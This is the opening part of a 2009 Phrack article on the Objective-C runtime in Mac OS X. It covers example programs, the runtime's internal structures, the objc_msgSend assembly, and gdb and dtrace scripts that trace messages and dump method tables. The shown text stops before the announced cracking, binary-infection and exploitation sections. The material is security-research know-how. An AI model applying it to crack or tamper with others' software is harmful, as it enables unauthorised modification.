[ News ] [ Paper Feed ] [ Issues ] [ Authors ] [ Archives ] [ Contact ]


..[ Phrack Magazine ]..
.:: Abusing the Objective C runtime ::.

Issues: [ 1 ] [ 2 ] [ 3 ] [ 4 ] [ 5 ] [ 6 ] [ 7 ] [ 8 ] [ 9 ] [ 10 ] [ 11 ] [ 12 ] [ 13 ] [ 14 ] [ 15 ] [ 16 ] [ 17 ] [ 18 ] [ 19 ] [ 20 ] [ 21 ] [ 22 ] [ 23 ] [ 24 ] [ 25 ] [ 26 ] [ 27 ] [ 28 ] [ 29 ] [ 30 ] [ 31 ] [ 32 ] [ 33 ] [ 34 ] [ 35 ] [ 36 ] [ 37 ] [ 38 ] [ 39 ] [ 40 ] [ 41 ] [ 42 ] [ 43 ] [ 44 ] [ 45 ] [ 46 ] [ 47 ] [ 48 ] [ 49 ] [ 50 ] [ 51 ] [ 52 ] [ 53 ] [ 54 ] [ 55 ] [ 56 ] [ 57 ] [ 58 ] [ 59 ] [ 60 ] [ 61 ] [ 62 ] [ 63 ] [ 64 ] [ 65 ] [ 66 ] [ 67 ] [ 68 ] [ 69 ] [ 70 ] [ 71 ]
Current issue : #66 | Release date : 2009-11-06 | Editor : The Circle of Lost Hackers
IntroductionTCLH
Phrack Prophile on The PaX TeamTCLH
Phrack World NewsTCLH
Abusing the Objective C runtimenemo
Backdooring Juniper FirewallsGraeme
Exploiting DLmalloc frees in 2009huku
Persistent BIOS infectionaLS and Alfredo
Exploiting UMA : FreeBSD kernel heap exploitsargp and karl
Exploiting TCP Persist Timer Infinitenessithilgore
Malloc Des-Maleficarumblackngel
A Real SMM RootkitCore Collapse
Alphanumeric RISC ARM ShellcodeYYounan and PPhilippaerts
Power cell buffer overflowBSDaemon
Binary Mangling with Radarepancake
Linux Kernel Heap Tampering DetectionLarry H
Developing MacOS X Kernel Rootkitsghalen and wowie
How close are they of hacking your braindahut
Title : Abusing the Objective C runtime
Author : nemo
                             ==Phrack Inc.==

               Volume 0x0d, Issue 0x42, Phile #0x04 of 0x11

|=-----------------------------------------------------------------------=|
|=-------=[ The Objective-C Runtime:  Understanding and Abusing ]=-------=|
|=-----------------------------------------------------------------------=|
|=----------------------=[ [email protected] ]=----------------------=|
|=-----------------------------------------------------------------------=|

--[ Contents

  1 - Introduction 

  2 - What is Objective-C?

  3 - The Objective-C Runtime
   3.1 - libobjc.A.dylib
   3.2 - The __OBJC Segment

  4 - Reverse Engineering Objective-C Applications.
   4.1 - Static analysis toolset
   4.2 - Runtime analysis toolset
   4.3 - Cracking
   4.4 - Objective-C Binary infection.

  5 - Exploiting Objective-C Applications
   5.1 - Side note: Updated shared_region technique.

  6 - Conclusion 

  7 - References

  8 - Appendix A: Source code

--[ 1 - Introduction 

Hello reader. I am writing this paper to document some research which I
undertook on Mac OS X around 3 years ago.

At the time i prepared this research, I gave a talk on it at Ruxcon.
It was a pretty terrible talk, dry and technical and it demotivated me a
little. Unfortunately due to this i didn't keep the slides. Around this
time my laptop broke and Apple refused to fix it. This drove me away from
Mac OS X for a while. A week ago, we tried again with another Apple store,
just in case, and they seem to have fixed the problem. So i'm back on OS X
and giving the documentation of this research another try. I'm hoping it
transfers a little smoother in .txt format, however you be the judge.

The topic of this research is the Objective-C runtime on Mac OS X.
Basically, during the contents of this paper, i will look at how the
Objective-C runtime works both in a binary, and in memory. I will then look
at how we can manipulate the runtime to our advantage, from a reverse
engineering/exploit development and binary infection perspective.

--[ 2 - What is Objective-C?

Before we look at the Objective-C runtime, let's take a look at what
Objective-C actually is.

Objective-C is a reflective programming language which aims to provide object
orientated concepts and Smalltalk-esque messaging to C.

Gcc provides a compiler for Objective-C, however due to the rich library
support on OpenStep based operating systems (Mac OS X, IPhone, GNUstep) it
is typically only really used on these platforms.

Objective-C is implemented as an augmentation to the C language. It is
a superset of C which means that any Objective-C compiler can also compile
C.

To learn more about Objective-C, you can read the [1] and [2] in the
references. 

To illustrate what Objective-C looks like as a language we'll look at a simple 
Hello World example from [3]. This tutorial shows how to compile a basic
Hello World style Objective-C app from the command line. If you're already
familiar with Objective-C just go ahead and skip to the next section. ;-)

So first we make a directory for our project ...

-[dcbz@megatron:~/code]$ mkdir HelloWorld
-[dcbz@megatron:~/code]$ mkdir HelloWorld/build

... and create the header file for our new class (Talker.)

-[dcbz@megatron:~/code]$ cat > HelloWorld/Talker.h
#import <Foundation/Foundation.h>

@interface Talker : NSObject

- (void) say: (STR) phrase;

@end

^D

As you can see, Objective-C projects use the .h extension
just like C. This header looks pretty different to a typically C style
header though.

The "@interface Talker : NSObject" line basically tells the compiler that
a "Talker" class exists, and it's derived from the NSObject class.

The "- (void) say: (STR) phrase;" line describes a public method of that
class called "say". This method takes a (STR) argument called "phrase".

Now that the header file exists and our class is defined, we need to
implement the meat of the class. Typically Objective-C files have the file
extension ".m". 
 
-[dcbz@megatron:~/code]$ cat > HelloWorld/Talker.m
#import "Talker.h"

@implementation Talker

- (void) say: (STR) phrase {
  printf("%s\n", phrase);
}

@end

^D

Clearly the implementation for the Talker class is pretty straight
forward. The say() method takes the string "phrase" and prints it with 
printf.

Now that our class is layed down, we need to write a little main()
function to use it.

-[dcbz@megatron:~/code]$ cat > HelloWorld/hello.m
#import "Talker.h"

int main(void) {
  Talker *talker = [[Talker alloc] init];
  [talker say: "Hello, World!"];
  [talker release];
}

From this example you can see that the syntax for calling methods of an 
Objective-C class is not quite the same as your typical C or C++ code.
It looks far more like smalltalk messaging, or Lisp.

        [<object> <method>: <argument>];

Typically Objective-C programmers alloc and init on the same line, as shown
in the example.  I know this generally sets off alarm bells that a NULL
pointer dereference can occur, however the Objective-C runtime has a check
for a NULL pointer being passed to the runtime which catches this condition. 
(see the objc_msgSend source later in this paper.)

Now we just build the project. The -framework option to gcc allows us to
specify an Objective-C framework to link with.

-[dcbz@megatron:~/code]$ cd HelloWorld/
-[dcbz@megatron:~/code/HelloWorld]$ gcc -o build/hello Talker.m
hello.m -framework Foundation
-[dcbz@megatron:~/code/HelloWorld]$ cd build/
-[dcbz@megatron:~/code/HelloWorld/build]$ ./hello 
Hello, World!

As you can see, the produced binary outputs "Hello, World!" as expected.
Unfortunately, this example about showcases all the skill I have with
Objective-C as a language. I've spent way more time auditing it than I have
writing it. Fortunately you don't really need a heavy understanding of
Objective-C to follow the rest of the paper.

--[ 3 - The Objective-C Runtime

Now that we're intimately familiar with Objective-C as a language, ;-) - We
can begin to focus on the interesting aspects of Objective-C, the runtime
that allows it to function.

As I mentioned earlier in the Introduction section, Objective-C is a
reflective language. The following quote explains this more clearly than i
could (in a very academic manner :( ).

"""
 Reflection is the ability of a program to manipulate as data something
representing the state of the program during its own execution. There are
two aspects of such manipulation :  introspection and  intercession.
Introspection is the ability of a program to observe and therefore reason
about its own state. Intercession is the ability of a program to modify its
own execution state or alter its own interpretation or meaning. Both
aspects require a mechanism for encoding execution state as data; providing
such an encoding is called  reification.
""" - [4]

Basically this means, that at runtime, Objective-C classes are designed to
be aware of their own state, and be capable of altering their own
implementation. As you can imagine, this information/functionality can be
quite useful from a hacking perspective.

So how is this implemented on Mac OS X? Firstly, when gcc compiles our 
hello.m application, it is linked with  the "libobjc.A.dylib" library.

"""
-[dcbz@megatron:~/code/HelloWorld/build]$ otool -L hello 
hello:
	/System/Library/Frameworks/Foundation.framework/Versions/C/Foundation
(compatibility version 300.0.0, current version 677.22.0)
	/usr/lib/libgcc_s.1.dylib (compatibility version 1.0.0, current
version 1.0.0)
	/usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current
version 111.1.3)
	/usr/lib/libobjc.A.dylib (compatibility version 1.0.0, current
version 227.0.0)
	/System/Library/Frameworks/CoreFoundation.framework/Versions/A/CoreFoundation
(compatibility version 150.0.0, current version 476.17.0)
"""

The source code for this dylib is available from [5]. This library contains
the code for manipulating our Objective-C classes at runtime. 

Also during compile time, gcc is responsible for storing all the
information required by libobjc.A.dylib inside the binary. This is
accomplished by creating the __OBJC segment. I plan not to cover the Mach-O
file format in this paper, as it's been done to death [6]. We're more
interested in what the various sections contain.

Here's a list of the __OBJC segment in our binary and the sections
contained (logically) within.

	LC_SEGMENT.__OBJC.__cat_cls_meth 
	LC_SEGMENT.__OBJC.__cat_inst_meth 
	LC_SEGMENT.__OBJC.__string_object 
	LC_SEGMENT.__OBJC.__cstring_object 
	LC_SEGMENT.__OBJC.__message_refs 
	LC_SEGMENT.__OBJC.__sel_fixup 
	LC_SEGMENT.__OBJC.__cls_refs 
	LC_SEGMENT.__OBJC.__class 
	LC_SEGMENT.__OBJC.__meta_class
	LC_SEGMENT.__OBJC.__cls_meth 
	LC_SEGMENT.__OBJC.__inst_meth
	LC_SEGMENT.__OBJC.__protocol
	LC_SEGMENT.__OBJC.__category 
	LC_SEGMENT.__OBJC.__class_vars 
	LC_SEGMENT.__OBJC.__instance_vars 
	LC_SEGMENT.__OBJC.__module_info 
	LC_SEGMENT.__OBJC.__symbols 

As you can see, quite a lot of information is stored in the file and
therefore available at runtime..

We'll look at both the in memory components of the Objective-C runtime and
the file contents in more detail in the following sections.

------[ 3.1 - libobjc.A.dylib

As mentioned previously, the file libobjc.A.dylib is a library file on Mac
OS X which provides the in-memory runtime functionality of the Objective-C
language.

The source code for this library is available from the apple website. [5].

Apple have documented the mechanics of this library quite well in the
papers [7] & [8]. These papers show versions 1.0 and 2.0 of the runtime. 

When I last looked at the runtime 3 years ago, version 2.0 was the latest.
However it seems that 3.0 is the standard now, and things have changed
quite dramatically. I actually wrote a large portion of this section based
on how things used to be, and I had to go back and rewrite most of it.
Hopefully there aren't any errors due to this. But please forgive me if
there are.

Probably the first and most important function in this library is the 
"objc_msgSend" function. 

objc_msgSend() is used to send messages to an object in memory.  All access
to a method or attribute of an Objective-C object at runtime utilize this
function.

Here is the description of this function, taken from the Objective-C 2.0
Runtime Reference [7].

"""
objc_msgSend(): 

Sends a message with a simple return value to an instance of a class. 

	id objc_msgSend(id theReceiver, SEL theSelector, ...) 

Parameters:

        theReceiver 

                A pointer that points to the instance of the class that is
                to receive the message. 

        theSelector 

               The selector of the method that handles the message. 

        ... 

               A variable argument list containing the arguments to 
               the method. 

        ReturnValue 
               The return value of the method. 
"""

In order to understand this function we need to first understand the
structures used by this function.

The first argument to objc_msgSend() is an "id" struct. The definition for
this struct is in the file /usr/include/objc/objc.h.

	typedef struct objc_object { 
	    Class isa; 
	} *id; 

	typedef struct objc_class *Class; 

	struct objc_class
	{
	   struct objc_class* isa;
	   struct objc_class* super_class;
	   const char* name;
	   long version;
	   long info;
	   long instance_size;
	   struct objc_ivar_list* ivars;
	   struct objc_method_list** methodLists;
	   struct objc_cache* cache;
	   struct objc_protocol_list* protocols;
	};

As you can see, an id is basically a pointer to an "objc_class" instance in
memory. 

I will now run through some of the more interesting elements of this
struct.

The isa element is a pointer to the class definition for the object.

The super_class element is a pointer to the base class for this object.

The name element is just a pointer to the name of the object at runtime. 
This is only really useful from a higher level perspective.

The ivars element is basically a way to represent all the instance
variables of an object in memory. It consists of a pointer to an 
objc_ivar_list struct. This basically contains a count, followed by an 
array of count * objc_ivar structs.

	struct objc_ivar_list {
	    int ivar_count
	    /* variable length structure */
	    struct objc_ivar ivar_list[1]
	}                          

The objc_ivar struct, consists of the name, and type of the variable.
Both of which are simply char * as seen below.

	struct objc_ivar {
	    char *ivar_name
	    char *ivar_type
	    int ivar_offset
	}                        

The ivar_offset value indicates how far into the __OBJC.__class_vars
section to seek, to find the data used by this variable.

The methodLists element is basically a list of the methods supported by 
the class. The objc_method_list struct is simply made up of an integer 
that dictates how many methods there are, followed by an array of struct
objc_method's.

	struct objc_method_list 
	{ 
	    struct objc_method_list *obsolete; 
	    int method_count; 
	    struct objc_method method_list[1]; 
	} 

	typedef struct objc_method *Method;

The objc_method struct contains a SEL, (our second argument to objc_msgSend
too, while we'll get to soon) which dictates the method_name, a string
containing the argument types to the method. Finally this struct contains a
function pointer for the method itself, of type IMP.

	struct objc_method {
	    SEL method_name
	    char *method_types
	    IMP method_imp
	}

	id (*IMP)(id, SEL, ...) 

An IMP function pointer indicates that the first argument should be the
classes "self" pointer, or the id (objc_class) pointer for the class.
The second argument should be the methods's SEL (selector).

For now that's all that's interesting to us about the ID data type. Later
on in this paper we'll look at how the method caching works, and how it can
negatively affect us.

Now let's look at the mysterious data type "SEL" that we've been
hearing so much about. The second argument to objc_msgSend.

	typedef struct objc_selector    *SEL;

And what is an objc_selector struct you ask? Turns out, it's just a char *
string that's been processed by the runtime.

objc_msgSend() is implemented in assembly. To read it's implementation
browse to the runtime/Messengers.subproj directory in the objc-runtime
source tree. The file objc-msg-i386.s is the intel implementation of
this.

Now that we're some what familiar with the runtime, let's take a look at
our sample "hello" application we wrote earlier in a debugger and verify
our progress.

The most commonly used debugger on Mac OS X is gdb, obviously. Since I've
spent so much time in the Windows world lately I am intel syntax inclined, 
I apologize in advance. 

Regardless, let's fire up gdb and take a look at the source of our main 
function.

-[dcbz@megatron:~/code/HelloWorld/build]$ gdb ./hello 
GNU gdb 6.3.50-20050815 (Apple version gdb-768) (Tue Oct  2 04:07:49 UTC
2007)
Copyright 2004 Free Software Foundation, Inc.
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x00001f3d <main+0>:	push   ebp
0x00001f3e <main+1>:	mov    ebp,esp
0x00001f40 <main+3>:	push   ebx
0x00001f41 <main+4>:	sub    esp,0x24
0x00001f44 <main+7>:	call   0x1f49 <main+12>
0x00001f49 <main+12>:	pop    ebx
0x00001f4a <main+13>:	lea    eax,[ebx+0x117b]
0x00001f50 <main+19>:	mov    eax,DWORD PTR [eax]
0x00001f52 <main+21>:	mov    edx,eax
0x00001f54 <main+23>:	lea    eax,[ebx+0x1177]
0x00001f5a <main+29>:	mov    eax,DWORD PTR [eax]
0x00001f5c <main+31>:	mov    DWORD PTR [esp+0x4],eax
0x00001f60 <main+35>:	mov    DWORD PTR [esp],edx
0x00001f63 <main+38>:	call   0x4005 <dyld_stub_objc_msgSend>
0x00001f68 <main+43>:	mov    edx,eax
0x00001f6a <main+45>:	lea    eax,[ebx+0x1173]
0x00001f70 <main+51>:	mov    eax,DWORD PTR [eax]
0x00001f72 <main+53>:	mov    DWORD PTR [esp+0x4],eax
0x00001f76 <main+57>:	mov    DWORD PTR [esp],edx
0x00001f79 <main+60>:	call   0x4005 <dyld_stub_objc_msgSend>
0x00001f7e <main+65>:	mov    DWORD PTR [ebp-0xc],eax
0x00001f81 <main+68>:	mov    ecx,DWORD PTR [ebp-0xc]
0x00001f84 <main+71>:	lea    eax,[ebx+0x116f]
0x00001f8a <main+77>:	mov    edx,DWORD PTR [eax]
0x00001f8c <main+79>:	lea    eax,[ebx+0x96]
0x00001f92 <main+85>:	mov    DWORD PTR [esp+0x8],eax
0x00001f96 <main+89>:	mov    DWORD PTR [esp+0x4],edx
0x00001f9a <main+93>:	mov    DWORD PTR [esp],ecx
0x00001f9d <main+96>:	call   0x4005 <dyld_stub_objc_msgSend>
0x00001fa2 <main+101>:	mov    edx,DWORD PTR [ebp-0xc]
0x00001fa5 <main+104>:	lea    eax,[ebx+0x116b]
0x00001fab <main+110>:	mov    eax,DWORD PTR [eax]
0x00001fad <main+112>:	mov    DWORD PTR [esp+0x4],eax
0x00001fb1 <main+116>:	mov    DWORD PTR [esp],edx
0x00001fb4 <main+119>:	call   0x4005 <dyld_stub_objc_msgSend>
0x00001fb9 <main+124>:	add    esp,0x24
0x00001fbc <main+127>:	pop    ebx
0x00001fbd <main+128>:	leave  
0x00001fbe <main+129>:	ret    

As you can see, our main function only consists of 4 calls to
objc_msgSend(). There are no calls to our actual methods here. 
Here is a listing of the source code again, to jog your memory.

	int main(void) {
	  Talker *talker = [[Talker alloc] init];
	  [talker say: "Hello World!"];
	  [talker release];
	}

Each call to objc_msgSend() corresponds to each method call
in our source.
           class | method 
         ------------------         
          Talker | alloc
          talker | init 
          talker | say
          talker | release
         ------------------

To verify this we can put a breakpoint on the objc_msgSend() function.

(gdb) break objc_msgSend
Breakpoint 2 at 0x9470d670
(gdb) c
Continuing.

Breakpoint 2, 0x9470d670 in objc_msgSend ()
(gdb) x/2i $pc
0x9470d670 <objc_msgSend>:      mov    ecx,DWORD PTR [esp+0x8]
0x9470d674 <objc_msgSend+4>:    mov    eax,DWORD PTR [esp+0x4]

As you can see, the first two instructions in objc_msgSend() are
responsible for moving the id into eax, and the selector into ecx.

To verify, lets step and print the contents of ecx.

(gdb) stepi
0x9470d674 in objc_msgSend ()
(gdb) x/s $ecx
0x9470e66c <objc_msgSend_stub+828>:      "alloc"

As predicted "alloc" was the first method called.

Now we can delete our breakpoints, and add a breakpoint at the current
location. Then use the "commands" option in gdb to print the string at ecx,
every time this breakpoint is hit.

(gdb) break
Breakpoint 3 at 0x9470d674
(gdb) commands
Type commands for when breakpoint 3 is hit, one per line.
End with a line saying just "end".
>x/s $ecx
>c
>end
(gdb) c
Continuing.

Breakpoint 8, 0x9470d674 in objc_msgSend ()
0x94722d20 <__FUNCTION__.12370+80320>:   "defaultCenter"

Breakpoint 8, 0x9470d674 in objc_msgSend ()
0x9470e83c <objc_msgSend_stub+1292>:     "self"

Breakpoint 8, 0x9470d674 in objc_msgSend ()
0x94772d28 <__FUNCTION__.12370+408008>:
"addObserver:selector:name:object:"

Breakpoint 8, 0x9470d674 in objc_msgSend ()
0x9470e66c <objc_msgSend_stub+828>:      "alloc"

Breakpoint 8, 0x9470d674 in objc_msgSend ()
0x9470e680 <objc_msgSend_stub+848>:      "initialize"

Breakpoint 8, 0x9470d674 in objc_msgSend ()
0x9477f158 <__FUNCTION__.12370+458232>:  "allocWithZone:"

Breakpoint 8, 0x9470d674 in objc_msgSend ()
0x9470e858 <objc_msgSend_stub+1320>:     "init"

Breakpoint 8, 0x9470d674 in objc_msgSend ()
0x1fd0 <main+147>:       "say:"
Hello World!

Breakpoint 8, 0x9470d674 in objc_msgSend ()
0x947a9334 <__FUNCTION__.12370+630740>:  "release"

Breakpoint 8, 0x9470d674 in objc_msgSend ()
0x9474e514 <__FUNCTION__.12370+258484>:  "dealloc"

This works as expected. However, we can see that we were flooded with
methods that weren't related to our class from the NS runtime loading.
Let's try to implement something to see which class methods were called on.

Remembering back to our objc_class struct:

        struct objc_class
        { 
           struct objc_class* isa;
           struct objc_class* super_class;
           const char* name;

8 bytes into the struct there's a 4 byte pointer to the class's name.

To verify this, we can restart the process with our breakpoint in the same
place.

Breakpoint 6, 0x9470d674 in objc_msgSend ()
(gdb) printf "%s\n", *(long*)($eax+8)
NSNotificationCenter

This time when it's hit, we deref the pointer at $eax+8 and print it to
find out the class name.

Again we can script this with the "commands" option to automate the process.
But lets change our code so that rather than using printf, we utilize one
of the functions exported by our objective-c runtime:

call (char *)class_getName($eax)

This function will do the work for us just with our ID.

(gdb) b *0x9470d674
Breakpoint 1 at 0x9470d674
(gdb) commands
Type commands for when breakpoint 1 is hit, one per line.
End with a line saying just "end".
>call (char *)class_getName($eax)
>x/s $ecx
>c
>end
(gdb) run
...
Breakpoint 2, 0x9470d674 in objc_msgSend ()
$107 = 0x6e6f5a68 <Address 0x6e6f5a68 out of bounds>
0x9477f158 <__FUNCTION__.12370+458232>:  "allocWithZone:"

Breakpoint 2, 0x9470d674 in objc_msgSend ()
$108 = 0x0
0x94772d28 <__FUNCTION__.12370+408008>:
"addObserver:selector:name:object:"

Breakpoint 2, 0x9470d674 in objc_msgSend ()
$109 = 0x916e0318 "NSNotificationCenter"
0x94722d20 <__FUNCTION__.12370+80320>:   "defaultCenter"

Breakpoint 2, 0x9470d674 in objc_msgSend ()
$110 = 0x916e0318 "NSNotificationCenter"
0x9470e83c <objc_msgSend_stub+1292>:     "self"

Breakpoint 2, 0x9470d674 in objc_msgSend ()
$111 = 0x0
0x94772d28 <__FUNCTION__.12370+408008>:
"addObserver:selector:name:object:"

Breakpoint 2, 0x9470d674 in objc_msgSend ()
$112 = 0x77656e <Address 0x77656e out of bounds>
0x9470e66c <objc_msgSend_stub+828>:      "alloc"

Breakpoint 2, 0x9470d674 in objc_msgSend ()
$113 = 0x1fc9 "Talker"
0x9470e680 <objc_msgSend_stub+848>:      "initialize"

Breakpoint 2, 0x9470d674 in objc_msgSend ()
$114 = 0x1fc9 "Talker"
0x9477f158 <__FUNCTION__.12370+458232>:  "allocWithZone:"

Breakpoint 2, 0x9470d674 in objc_msgSend ()
$115 = 0x6b617761 <Address 0x6b617761 out of bounds>
0x9470e858 <objc_msgSend_stub+1320>:     "init"

Breakpoint 2, 0x9470d674 in objc_msgSend ()
$116 = 0x21646c72 <Address 0x21646c72 out of bounds>
0x1fd0 <main+147>:       "say:"
Hello World!

Breakpoint 2, 0x9470d674 in objc_msgSend ()
$117 = 0x6470755f <Address 0x6470755f out of bounds>
0x947a9334 <__FUNCTION__.12370+630740>:  "release"

Breakpoint 2, 0x9470d674 in objc_msgSend ()
$118 = 0x615f4943 <Address 0x615f4943 out of bounds>
0x9474e514 <__FUNCTION__.12370+258484>:  "dealloc"


And as you can see, this works as sort of a make shift, objective-c message
tracing system.  

However in some cases, eax does not actually contain an id. And this will
not work. Hence we get the messages like:

$118 = 0x615f4943 <Address 0x615f4943 out of bounds>

This is due to the fact that objc_msgSend() is not always an entry point.
So we can't guarantee that every time our breakpoint is hit we are actually
seeing a call to objc_msgSend().

To make our tracer work more effectively we can put a breakpoint on
0x4005 <dyld_stub_objc_msgSend> instead. This means we have to use esp+0x8
for our SEL and esp+0x4 for our ID.

We can use the statement:

printf "[%s %s]\n", *(long *)((*(long*)($esp+4))+8),*(long *)($esp+8)

To print our object and method nicely. 

This works pretty well but we still hit a situation where sometimes our
class's name is set to NULL. In this case we take the isa (deref the first
pointer in the struct) and get the name of that.

The following gdb script will handle this:

#
# Trace objective-c messages. - nemo 2009
#
b dyld_stub_objc_msgSend
commands 
        set $id  = *(long *)($esp+4)
        set $sel = *(long *)($esp+8)
        if(*(long *)($id+8) != 0)
                printf "[%s %s]\n", *(long *)($id+8),$sel
                continue
        end
        set $isx = *(long *)($id)
        printf "[%s %s]\n", *(long *)($isx+8),$sel
        continue
end

We could also implement this with dtrace on Mac OS X quite easily.

#!/usr/sbin/dtrace -qs

/* usage: objcdump.d <pid> */

pid$1::objc_msgSend:entry
{
        self->isa = *(long *)copyin(arg0,4);
        printf("-[%s %s]\n",copyinstr(*(long *)copyin(self->isa + 8,
4)),copyinstr(arg1));

}

Let me correct myself on that, we /should/ be able to implement this with
dtrace on Mac OS X quite easily. However, dtrace is kind of like looking at
a beautiful painting through a kids kaleidescope toy. Thanks a lot to twiz
for helping me out with implementing this.

As you can see, the output of this script is the same as our gdb script,
however the speed at which the process runs is magnitudes faster.

Now that we're hopefully familiar with how calls to objc_msgSend() work we
can look at how the ivar's and methods are accessed.

In order to investigate this a little, we can modify our hello.m example
code a little to include some attributes. To demonstrate this I will use
the fraction example from [10]. (I'm getting uncreative in my old age ;-) .

-[dcbz@megatron:~/code/fraction]$ ls -lsa
total 24
0 drwxr-xr-x   5 dcbz  dcbz   170 Mar 27 10:28 .
0 drwxr-xr-x  33 dcbz  dcbz  1122 Mar 27 10:17 ..
8 -rwxr-----   1 dcbz  dcbz   231 Mar 23  2004 Fraction.h
8 -rwxr-----   1 dcbz  dcbz   339 Mar 24  2004 Fraction.m
8 -rwxr-----   1 dcbz  dcbz   386 Mar 27  2004 main.m

As you can see, this project is pretty similar to our earlier hello.m
example.

-[dcbz@megatron:~/code/fraction]$ cat Fraction.h
#import <Foundation/NSObject.h>

@interface Fraction: NSObject {
    int numerator;
    int denominator;
}

-(void) print;
-(void) setNumerator: (int) d;
-(void) setDenominator: (int) d;
-(int) numerator;
-(int) denominator;
@end

Our header file defines a simple interface to a "Fraction" class. This
class represents the numerator and denominator of a fraction.

It exports the methods setNumerator and setDemonimator in order to modify
these values, and the methods numerator() and denominator() to get the
values.

-[dcbz@megatron:~/code/fraction]$ cat Fraction.m
#import "Fraction.h"
#import <stdio.h>

@implementation Fraction
-(void) print {
    printf( "%i/%i", numerator, denominator );
}

-(void) setNumerator: (int) n {
    numerator = n;
}

-(void) setDenominator: (int) d {
    denominator = d;
}

-(int) denominator {
    return denominator;
}

-(int) numerator {
    return numerator;
}
@end

The actual implementation of these methods is pretty much what you would
expect from any OOP language. Get methods return the object's attribute, set
methods set it.

-[dcbz@megatron:~/code/fraction]$ cat main.m 
#import <stdio.h>
#import "Fraction.h"

int main( int argc, const char *argv[] ) {
    // create a new instance
    Fraction *frac = [[Fraction alloc] init];

    // set the values
    [frac setNumerator: 1];
    [frac setDenominator: 3];

    // print it
    printf( "The fraction is: " );
    [frac print];
    printf( "\n" );

    // free memory
    [frac release];

    return 0;
}

As you can see, our main.m file contains code to instantiate an instance of
the class. It then sets the numerator to 1 and denominator to 3, and prints
the fraction. Pretty straight forward stuff.

-[dcbz@megatron:~/code/fraction]$  gcc -o fraction Fraction.m main.m
-framework Foundation
-[dcbz@megatron:~/code/fraction]$ ./fraction 
The fraction is: 1/3

Before we fire up gdb and look at this from a debugging perspective, lets
take a quick look through the source code for what happens after
objc_msgSend() is called.

        ENTRY   _objc_msgSend
        CALL_MCOUNTER

// load receiver and selector
        movl    selector(%esp), %ecx
        movl    self(%esp), %eax

// check whether selector is ignored
        cmpl    $ kIgnore, %ecx
        je      LMsgSendDone            // return self from %eax

// check whether receiver is nil
        testl   %eax, %eax
        je      LMsgSendNilSelf

// receiver (in %eax) is non-nil: search the cache
LMsgSendReceiverOk:
        movl    isa(%eax), %edx         // class = self->isa
        CacheLookup WORD_RETURN, MSG_SEND, LMsgSendCacheMiss
        movl    $kFwdMsgSend, %edx      // flag word-return for
_objc_msgForward
        jmp     *%eax                   // goto *imp

// cache miss: go search the method lists
LMsgSendCacheMiss:
        MethodTableLookup WORD_RETURN, MSG_SEND
        movl    $kFwdMsgSend, %edx      // flag word-return for
_objc_msgForward
        jmp     *%eax                   // goto *imp


As you can see, objc_msgSend() first moves the receiver and selector into
eax and ecx respectively. It then tests if the selector is kignore ("?").
If this is the case, it simply returns the receiver (id).

If the receiver is not NULL, a cache lookup is performed on the method in
question. If the method is found in the cache, the value in the cache is
simply called. We'll look into the cache in more detail later in the
exploitation section.

If the method's address is not in the cache, the "MethodTableLookup" macro
is used.

.macro MethodTableLookup

        subl    $$4, %esp               // 16-byte align the stack
        // push args (class, selector)
        pushl   %ecx
        pushl   %eax
        CALL_EXTERN(__class_lookupMethodAndLoadCache)
        addl    $$12, %esp              // pop parameters and alignment
.endmacro

From the code above we can see that this macro simply aligns the stack and calls
__class_lookupMethodAndLoadCache.

This function, checks the cache of the class again, and it's super class
for the method in question. If it's definitely not in the cache, the method
list in the class is walked and tested individually for a match. If this
is not successful the parent of the class is checked and so forth.
If the method is found, it's called.

Let's look at this process in gdb.

We hit out breakpoint in objc_msgSend().

Breakpoint 7, 0x9470d670 in objc_msgSend ()
(gdb) stepi
0x9470d674 in objc_msgSend ()
(gdb) stepi
0x9470d678 in objc_msgSend ()

Step over the first two instructions to populate ecx and eax, for our
convenience.

(gdb) x/s $ecx
0x1f8d <main+244>:       "setNumerator:"

We can see the method being called (from the SEL argument) is setNumerator:

(gdb) x/x $eax
0x103240:       0x00003000

We take the ISA...

(gdb) x/x 0x00003000
0x3000 <.objc_class_name_Fraction>:     0x00003040
(gdb) 
0x3004 <.objc_class_name_Fraction+4>:   0xa07fccc0
(gdb) 
0x3008 <.objc_class_name_Fraction+8>:   0x00001f7e

Offset this by 8 bytes to find the class name.

(gdb) x/s 0x00001f7e
0x1f7e <main+229>:       "Fraction"

So this is a call to -[Fraction setNumerator:] (obviously).

        struct objc_class
        { 
           struct objc_class* isa;
           struct objc_class* super_class;
           const char* name;
           long version;
           long info;
           long instance_size;
           struct objc_ivar_list* ivars;
           struct objc_method_list** methodLists;
           struct objc_cache* cache;
           struct objc_protocol_list* protocols;
        };

Remembering our objc_class struct from earlier, we know that the 
method_lists struct is 28 bytes in.

(gdb) set $classbase=0x3000
(gdb) x/x $classbase+28
0x301c <.objc_class_name_Fraction+28>:  0x00103250

So the address of our method_list is 0x00103250.


      struct objc_method_list
        {
            struct objc_method_list *obsolete;
            int method_count;
            struct objc_method method_list[1];
        }

As you can see, our method_count is 5.

(gdb) x/x 0x00103250+4
0x103254:       0x00000005


        typedef struct objc_method *Method;

        struct objc_method {
            SEL method_name
            char *method_types
            IMP method_imp
        }

(gdb) x/3x 0x00103250+8
0x103258:       0x00001fb7      0x00001fd2      0x00001e8b
(gdb) x/s 0x00001fb7
0x1fb7 <main+286>:       "numerator"
(gdb) x/7i  0x00001e8b
0x1e8b <-[Fraction numerator]>:         push   ebp
0x1e8c <-[Fraction numerator]+1>:       mov    ebp,esp
0x1e8e <-[Fraction numerator]+3>:       sub    esp,0x8
0x1e91 <-[Fraction numerator]+6>:       mov    eax,DWORD PTR [ebp+0x8]
0x1e94 <-[Fraction numerator]+9>:       mov    eax,DWORD PTR [eax+0x4]
0x1e97 <-[Fraction numerator]+12>:      leave
0x1e98 <-[Fraction numerator]+13>:      ret

Now that we see clearly how methods are stored, we can write a small amount
of gdb script to dump them.

(gdb) set $methods =  0x00103250 + 8
(gdb) set $i = 1
(gdb) while($i <= 5)
 >printf "name: %s\n", *(long *)$methods
 >printf "addr: 0x%x\n", *(long *)($methods+8)
 >set $methods += 12
 >set $i++  
 >end
name: numerator
addr: 0x1e8b
name: denominator
addr: 0x1e7d
name: setDenominator:
addr: 0x1e6c
name: setNumerator:
addr: 0x1e5b
name: print
addr: 0x1e26

We can now clearly display all our methods, so lets take a look at how our set
and get methods actually work.

Firstly, lets take a look at the setDenominator method.

(gdb) x/8i 0x1e6c
0x1e6c <-[Fraction setDenominator:]>:           push   ebp
